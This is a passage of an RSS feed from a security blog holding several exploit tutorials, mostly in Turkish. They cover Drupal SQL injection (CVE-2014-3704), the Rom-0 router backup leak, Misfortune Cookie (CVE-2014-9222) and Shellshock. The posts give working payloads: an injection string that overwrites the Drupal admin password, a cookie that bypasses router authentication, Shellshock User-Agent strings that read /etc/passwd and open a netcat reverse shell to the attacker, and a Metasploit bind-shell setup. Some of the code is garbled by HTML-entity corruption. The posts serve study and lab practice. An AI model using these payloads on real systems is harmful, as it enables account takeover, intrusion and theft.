TR | Drupal 7.x SQL Injection Vulnerability (CVE-2014-3704) https://canyoupwn.me/drupal-7-x-sql-injection-zafiyeti/ https://canyoupwn.me/drupal-7-x-sql-injection-zafiyeti/#respond Wed, 11 May 2016 22:04:05 +0000 https://canyoupwn.me/?p=2103 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Drupal açık kaynaklı bir içerik yönetim sistemidir.  15 Ekim 2014 tarihinde Sektioneins ekibi tarafından SQL injection zafiyeti tespit edilmiştir. Bu zafiyet Drupal’in 7.0 ve 7.31 versiyonları için geçerlidir. Bu açıklığı kapatmak için sisteminizdeki Drupal versiyonunu güncellemeniz gerekmektedir. Zafiyet kullanıcıdan alınan verinin array olması durumunda ilgili fonksiyonun expand etmeye çalışmasından dolayı gerçekleşmektedir. Bundan ötürü UPDATE, DELETE, […]

TR | Drupal 7.x SQL Injection Vulnerability (CVE-2014-3704) CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Drupal açık kaynaklı bir içerik yönetim sistemidir.  15 Ekim 2014 tarihinde Sektioneins ekibi tarafından SQL injection zafiyeti tespit edilmiştir. Bu zafiyet Drupal’in 7.0 ve 7.31 versiyonları için geçerlidir. Bu açıklığı kapatmak için sisteminizdeki Drupal versiyonunu güncellemeniz gerekmektedir. Zafiyet kullanıcıdan alınan verinin array olması durumunda ilgili fonksiyonun expand etmeye çalışmasından dolayı gerçekleşmektedir. Bundan ötürü UPDATE, DELETE, DROP gibi SQL sorgularını çalıştırabilirsiniz.

 

drupalbas

Arka planda çalışan kod bloğu şu şekildedir;

 

protected function expandArguments(&amp;amp;amp;amp;amp;amp;$query, &amp;amp;amp;amp;amp;amp;$args) {
$modified = FALSE;

// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, 'is_array') as $key =&amp;amp;amp;amp;amp;gt; $data) {
$new_keys = array();
foreach ($data as $i =&amp;amp;amp;amp;amp;gt; $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}

// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;

$modified = TRUE;
}

return $modified;
}

 

Kullanıcıdan alınan değerin array olması durumunda veritabanında çalışan sorgu aşağıdakine benzer biçimde olacaktır.

SELECT * from users where name IN (:name_0, :name_1)

Eğer alınan array birden fazla key içerirse oluşacak sorgu aşağıdaki gibi olacaktır ve zafiyet meydana gelecektir.

SELECT * FROM users WHERE name = :name_test

 

Bu zafiyeti exploit etmek için python ile geliştirilen script’e aşağıdaki adreslerden ulaşabilirsiniz.
drupalpass.py
drupal_7.x_sql_injection_sa-core-2014-005.py

İndirilen script dosyalarının aynı dizinde bulunması gerekmektedir. Script i aşağıdaki resimdeki gibi parametreleri vererek çalıştırabilirsiniz.

ss

python drupal_7.x_sql_injection_sa-core-2014-005.py http://localhost/drupal/ admin 123456

 

bu komut çalıştırıldığında veritabanında bulunan id değeri 1 olan kullanıcının zafiyetten yararlanılarak kullanıcı adı ve şifresi parametrelerde verdiğimiz şekilde veritabanı üzerinde güncellenir ve çalışan sorgu şu şekildedir.

name[0%20;update+users+set+name%3d\'" \
+user \
+"'+,+pass+%3d+'" \
+hash[:55] \
+"'+where+uid+%3d+\'1\';;#%20%20]=bob&amp;name[0]=larry&amp;pass=lol&amp;form_build_id=&amp;form_id=user_login_block&amp;op=Log+in

Drupal multi query özelliğine destek sağladığı için önce select sorgusu ile veritabanında user seçilir ve ardından update sorgusu ile admin hesabı üzerinde güncelleme işlemi gerçekleştirilir.

Atadığımız kullanıcı adı ve şifre ile sisteme admin yetkisi ile erişebilirsiniz.

ss2

TR | Drupal 7.x SQL Injection Vulnerability (CVE-2014-3704) CanYouPwnMe

]]>
https://canyoupwn.me/drupal-7-x-sql-injection-zafiyeti/feed/ 0
TR | Rom-0 Zafiyeti https://canyoupwn.me/tr-rom-0-zafiyeti/ https://canyoupwn.me/tr-rom-0-zafiyeti/#respond Tue, 10 May 2016 22:13:42 +0000 https://canyoupwn.me/?p=2092 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar, Bu yazımızda sizlerle Allegro RomPager da bulunan başka bir zafiyeti inceleyeceğiz. Bu zafiyet önceki Misfortune Cookie yazısında incelediğimiz zafiyete benzer şekilde saldırganın yönetim paneline erişimini sağlıyor. Zafiyetin nedeni modem ayarlarının yedeğini aldığınızda oluşan “rom-0” isimli backup dosyasının password protected olmamasıdır. URL üzerinden dosyaya erişmeye çalıştığımız takdirde hiçbir şifre talep edilmeden bu dosya indirilebilecektir. Elde […]

TR | Rom-0 Zafiyeti CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar,
Bu yazımızda sizlerle Allegro RomPager da bulunan başka bir zafiyeti inceleyeceğiz. Bu zafiyet önceki Misfortune Cookie yazısında incelediğimiz zafiyete benzer şekilde saldırganın yönetim paneline erişimini sağlıyor.

Zafiyetin nedeni modem ayarlarının yedeğini aldığınızda oluşan “rom-0” isimli backup dosyasının password protected olmamasıdır. URL üzerinden dosyaya erişmeye çalıştığımız takdirde hiçbir şifre talep edilmeden bu dosya indirilebilecektir.

rom-save

Backup sayfası

1

Elde edilen bu dosyanın içeriği LZS algoritmasıyla sıkıştırılmış olup online decoderlar ile çözüldükten sonra içeriğine rahatça erişilebilir.
Peki bu dosyanın içerisinde hangi bilgiler var? Router’ın konfigurasyon bilgileri ve daha da önemlisi giriş için kullanılan kullanıcı adı ve parola!

2

Bu bilgileri elde ettikten sonra yönetim paneline erişmemiz ise an meselesi.
3

Gördüğünüz üzere zafiyetin istismarı bu kadar basit. Etki alanını tahmin etmek isterseniz bu shodan raporuna bakmanız yeterli.

Bir cihazın rom-0 zafiyetine sahip olup olmadığını kontrol etmek için ise şöyle ufak bir bash scripti hazırladım.

 

#!/bin/sh

if [[ $1 == "" ]]
then
echo "Usage: $0 "
exit
fi

a=`curl -I "http://$1/rom-0" 2>&1`

if [[ $a == *"401 Unauthorized"* ]]
then
echo "Safe."
else
echo "Not Safe!"
fi

Bir sonraki yazıda görüşmek üzere.

 

Kaynakça:

https://www.gokmenguresci.com/
https://rootatnasro.wordpress.com/

TR | Rom-0 Zafiyeti CanYouPwnMe

]]>
https://canyoupwn.me/tr-rom-0-zafiyeti/feed/ 0
TR | Misfortune Cookie (CVE-2014-9222) Analizi https://canyoupwn.me/tr-misfortune-cookie-cve-2014-9222-analizi/ https://canyoupwn.me/tr-misfortune-cookie-cve-2014-9222-analizi/#respond Sat, 26 Mar 2016 07:30:37 +0000 https://canyoupwn.me/?p=1236 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Bu yazımızda sizlerle etki alanı oldukça geniş olan ve yüksek risk içeren bir zafiyeti inceleyeceğiz. Misfortune Cookie olarak adlandırılan zafiyet routerlarda web arayüzü sunmak için kullanılan Allegro Rompager adlı gömülü web server uygulamasında bulunuyor. Bu yazılımın birçok marka/model routerda kullanılması zafiyetin etki alanını bir hayli genişletiyor. Zafiyet aracılığıyla saldıgan herhangi bir şifreye ihtiyaç duymadan router’ın […]

TR | Misfortune Cookie (CVE-2014-9222) Analizi CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

cm

Bu yazımızda sizlerle etki alanı oldukça geniş olan ve yüksek risk içeren bir zafiyeti inceleyeceğiz. Misfortune Cookie olarak adlandırılan zafiyet routerlarda web arayüzü sunmak için kullanılan Allegro Rompager adlı gömülü web server uygulamasında bulunuyor. Bu yazılımın birçok marka/model routerda kullanılması zafiyetin etki alanını bir hayli genişletiyor. Zafiyet aracılığıyla saldıgan herhangi bir şifreye ihtiyaç duymadan router’ın web kontrol paneline erişim sağlayabiliyor. Bu da zafiyeti oldukça riskli bir hale getiriyor. Hadi incelemeye başlayalım.

NOT: Yazıda kullanılan kod parçaları ve görseller alıntıdır.

 

0x00: Zafiyet Tespiti

Zafiyetimizin istismar vektörü, adından da anlaşılacağı gibi, cookie verisi. Gelin önce sunucuya gönderilen cookie değerine bir bakalım.

req

Gönderilen cookie’nin formatı “CX=value” şeklinde. Bunun sebebini web server’ın cookie’yi parse eden kısmına bakınca daha iyi anlıyoruz.

ROM:8010E5B0 loc_8010E5B0:                            # CODE XREF: sub_8010E574+EC j
 ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
 ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
 ROM:8010E5B8                 li      $a1, 0x3D
 ROM:8010E5BC                 addiu   $s0, 1
 ROM:8010E5C0                 move    $a0, $s0       
 ROM:8010E5C4                 jal     sub_8016C340
 ROM:8010E5C8                 nop
 ROM:8010E5CC                 move    $a0, $s0       
 ROM:8010E5D0                 move    $s1, $v0       
 ROM:8010E5D4                 addiu   $s1, 1
 ROM:8010E5D8                 jal     sub_801F2E74
 ROM:8010E5DC                 sb      $zero, -1($s1) 
 ROM:8010E5E0                 move    $a0, $s1       
 ROM:8010E5E4                 jal     sub_8016CA24
 ROM:8010E5E8                 move    $s3, $v0       
 ROM:8010E5EC                 li      $a2, 0x28
 ROM:8010E5F0                 mul     $t2, $s3, $a2   
 ROM:8010E5F4                 move    $a1, $s1       
 ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28
 ROM:8010E5FC                 move    $s0, $v0
 ROM:8010E600                 addu    $at, $s1, $s0   
 ROM:8010E604                 addu    $a0, $t5, $t2   
 ROM:8010E608                 jal     sub_8016A784
 ROM:8010E60C                 sb      $zero, 0($at)
 ROM:8010E610                 j       loc_8010E644   
 ROM:8010E614                 addu    $s0, $s1, $s0
 ROM:8010E618  # ---------------------------------------------------------------------------

 

Yukarıdaki MIPS Assembly kodlarını anlamakta sıkıntı çekiyorsanız (ben çektim) şu kaynaklara göz gezdirmenizi öneririm:

MIPS Quick Tutorial

MIPS Instruction Set

Burada yapılan işlemler özetle şu şekilde (“CX=value” formatını hatırlayın);

  • Ilk karakter ‘C’ ye eşitmi?
  • Evet ise => “X=value” olan kısmı al
  • ‘=’ ayracı ile string’i iki kısıma ayır (“X” ve “value”)
  • *(0x6B28 + X*0x28) = value

 

Son adım bana biyerden tanıdık geliyor..

  • *(base_addr + i*sizeof(item)) = value

Bu pattern x86 mimarisinde de sıklıkla karşılaştığım dizi elemanlarına erişme pattern’i. (bkz: x86 Asm Cheat Sheet). Buradan anlaşılacağı üzere gönderdiğimiz cookie’ler, her elemanı 40 byte olan -nitekim cookie ile gönderilen değerimiz 40 karakter- bir dizide tutuluyor. Biz sunucuya “C0=blabla” şeklinde bir cookie gönderdiğimizde aslında cookie dizisinin 0. indexine “blabla” değerini yazmış oluyoruz. Uygulama girdiyi alırken herhangi bir sınır kontrolü yapmadığı içinde write-what-where durumu oluşuyor (yani istediğimiz adrese istediğimiz değeri yazabiliyoruz).

Zafiyeti tanımladığımıza göre şimdi istismarına geçelim.

 

0x10: Exploitation

ZynOS‘in zafiyeti istismar etmemizi kolaylaştıracak bir özelliği var; pswauthen. Komut arayüzünden bu komutu ‘0’ argümanıyla birlikte girdiğiniz takdirde geçici bir süre için web arayüzüne şifresiz erişim sağlayabiliyorsunuz. Komutun yaptığı şey ise belli bir adresteki flag değerini sıfıra eşitlemek. Daha sonradan Rompager bu adresteki değere bakıp 0’ı gördüğünde kullanıcıya şifresiz erişim sağlıyor. Bu da demek oluyor ki elimizdeki zafiyeti kullanarak bu adresin içerisini sıfırlayıp modem arayüzüne şifresiz şekilde erişebiliriz! Tek yapmamız gereken flag adresi ile dizinin adresi arasındaki farkı bulup 40’a bölmek ve bunu uygun cookie formatında yazıp request halinde sunucuya göndermek.

  • 0x8034FF94 – 0x804163D4 = 0xFFF39BC0
  • 0xFFF39BC0 / 0x28 = 0x0666171
  • 0x06661718 = 107353880 (indis karşılığı)

Göndermemiz gereken cookie değeri: “C107353880=\0”

Cookie değeri null-byte içereceğinden request’i netcat ile göndermeniz gerekir.

aaasss

Böylece zafiyetimizi istismar etmiş olduk.

Bu zafiyeti kullanan bir malware salgını hakkında yazdığım raporu buradan okuyabilirsiniz.

 

Kaynakça:
  1. http://mis.fortunecook.ie/
  2. http://mis.fortunecook.ie/too-many-cooks-exploiting-tr069_tal-oppenheim_31c3.pdf
  3. http://cawanblog.blogspot.com.tr/2015/02/misfortune-cookie-cve-2014-9222.html

TR | Misfortune Cookie (CVE-2014-9222) Analizi CanYouPwnMe

]]>
https://canyoupwn.me/tr-misfortune-cookie-cve-2014-9222-analizi/feed/ 0
TR | ShellShock (CVE-2014-6271) https://canyoupwn.me/tr-cve-2014-6271-shellshock/ https://canyoupwn.me/tr-cve-2014-6271-shellshock/#respond Sun, 07 Feb 2016 19:55:50 +0000 http://canyoupwn.me/?p=410 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar. Bu yazımızda CVE-2014-6271 kodlu Shellshock zaafiyeti için oluşturulan sanal makineden reverse shell alarak root yetkisi kazanmaya çalışacağız. Öncelikle iso kalıbına buraya tıklayarak ulaşabilirsiniz. İso kalıbını indirip herhangi bir sanallaştırma platformuna kurduğunuzu varsayarak devam ediyorum. İso kalıbını kurduktan sonra sizi karşılayan ekrana ‘ifconfig’ yazarak IP adresini alabilirsiniz. Verdiği IP adresini saldırmak için kullanacağınız makinede browsera […]

TR | ShellShock (CVE-2014-6271) CanYouPwnMe

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

Merhabalar. Bu yazımızda CVE-2014-6271 kodlu Shellshock zaafiyeti için oluşturulan sanal makineden reverse shell alarak root yetkisi kazanmaya çalışacağız.

Öncelikle iso kalıbına buraya tıklayarak ulaşabilirsiniz.

İso kalıbını indirip herhangi bir sanallaştırma platformuna kurduğunuzu varsayarak devam ediyorum. İso kalıbını kurduktan sonra sizi karşılayan ekrana ‘ifconfig’ yazarak IP adresini alabilirsiniz. Verdiği IP adresini saldırmak için kullanacağınız makinede browsera yazıp girdiğinizde sizi aşağıdaki gibi bir ekran karşılıyor olacaktır.

2

Bu ekranı gördükten sonra hiçbir şey bilmeyen bir saldırganmışcasına ilk olarak CTRL + U ile sayfa kaynağını görüntülüyoruz ve orada aşağıdaki kod betiği dikkatimizi çekiyor.

3

Yukarıdaki CGI scripti sistem komutlarını çalıştırıp onları web sayfasında göstermeye yarıyor. Yani burada Shellshock zaafiyeti için hazır bir durum var.

BurpSuite programımızı açıyoruz.

‘Proxy’ sekmesinden ‘Intercept is on’ durumda olduğunu kontrol edip tekrar sayfamıza giriyoruz. Ardından sağ click yaparak ‘Send to Repeater’ diyoruz.

Biz burada HTTP isteklerini kullanarak saldırıyı gerçekleştirip ‘reverse shell’ almaya çalışacağız. Bunun için de ‘User Agent’ isimli HTTP Parametresini kullanacağız.

Bunun için daha önce ‘Repeater’ kısmında gönderdiğimiz isteğimizi görmek için, BurpSuite de üst kısımdan ‘Repeater’ sekmesini seçiyoruz ve isteğimiz karşımıza çıkıyor.

Ardından ‘User Agent’ kısmına:

 () { :; }; /bin/bash -c 'ping -c 3 172.168.2.1; id; cat /etc/passwd' 

kodunu ekliyoruz ve ‘Repeater’ kısmında bulunan ‘Go’ butonuna basarak etc/passwd dosyasını okumaya çalışıyoruz. Ve gelen değerlerde /etc/passwd dosyasını başarıyla okuduğumuzu görüyoruz.

4

Ardından, /etc/shadow v.s gibi dosyaları deneyip okuduktan sonra zaafiyeti tam olarak kullanabileceğimizi anlıyoruz. Bu durumda daha da ileri gidebilmek için içeriden bir erişim kazanma maksadıyla ‘reverse shell’ almaya çalışıyoruz. Bunun için, şu kodu yine ‘User-Agent’ kısmında kullanmamız gerekiyor.

() { :; }; /bin/bash -c 'nc IPADRESINIZ PORT -e /bin/sh'

Ardından, kullanacağımız portu da netcat ile dinlemeye almak için,

nc -lvp PORT

komutunu kullanmamız gerekiyor. Zaten ‘reverse shell’ almak için kullandığımız kodu detaylı incelerseniz nc komutu ile netcati aktifleştirdiğimizi görebilirsiniz.

‘Reverse shell’ kodumuzu ‘User-Agent’ parametresine eklemeden önce, yukaradaki ‘netcat’ komutu ile gerekli portu dinlemeye alıyoruz, ardından ‘Repeater’ sekmesindeki ‘Go’ butonuna ekrar basıp ‘reverse shell’imizi makineden alıyor ve içeriye erişim sağlıyoruz.

5

 

Başarılı bir biçimde bağlantıyı sağladıktan sonra,

sudo -s

komutuyla root olmaya çalıştığımızda şifre istemeden direkt olarak ‘root’ yetkilerini kazandık. Artık sistemde istediğimiz gibi at koşturabiliriz.

6

 

Yazımız burada sona eriyor, kafanıza takılan bir sorunuz olursa profilde bulunan iletişim adreslerinden bana ulaşabilirsiniz.

İyi shocklamalar!

TR | ShellShock (CVE-2014-6271) CanYouPwnMe

]]>
https://canyoupwn.me/tr-cve-2014-6271-shellshock/feed/ 0
EN | How to Hack the Shellshock Vulnerability with Metasploit Framework https://canyoupwn.me/en-how-to-hack-the-shellshock-vulnerability-with-metasploit-framework/ https://canyoupwn.me/en-how-to-hack-the-shellshock-vulnerability-with-metasploit-framework/#respond Thu, 04 Feb 2016 00:48:16 +0000 http://canyoupwn.me/?p=301 CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

What is Shellshock?  Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash […]

EN | How to Hack the Shellshock Vulnerability with Metasploit Framework Mustafa Kaan Demirhan

]]>
CanYouPwnMe! - For Cyber Security Researchers CanYouPwnMe! - For Cyber Security Researchers - cypm!

What is Shellshock? 

Shellshock, also known as Bashdoor, is a family of security bugs in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.

How to use?

  • Start the Metasploit Framework;
msfconsole
  • Search exploit;
search shellshock
  • Run the exploit;
use auxiliary/server/dhclient/dhclient_bash_env
  • We need these parameters “CMD” , “SRVHOST” VE “NETMASK”;
info
  • To view options;
show options
  • Set the DHCP server IP. This is the SRVHOST parameter;
set SVRHOST 192.168.131.61
  • Set the CMD;
set CMD /bin/nc -l -p6996 -e /bin/sh
  •  Set the NETMASK;
set NETMASK 255.255.255.0
  • Run the module;
exploit
  • Connect to the Exploited System;
c::\nc 192.168.131.61 6996
  • Returns the network settings of the exploited Linux system;
ifconfig
  • Confirm the privilage;
    whoami

 

EN | How to Hack the Shellshock Vulnerability with Metasploit Framework Mustafa Kaan Demirhan

]]>
https://canyoupwn.me/en-how-to-hack-the-shellshock-vulnerability-with-metasploit-framework/feed/ 0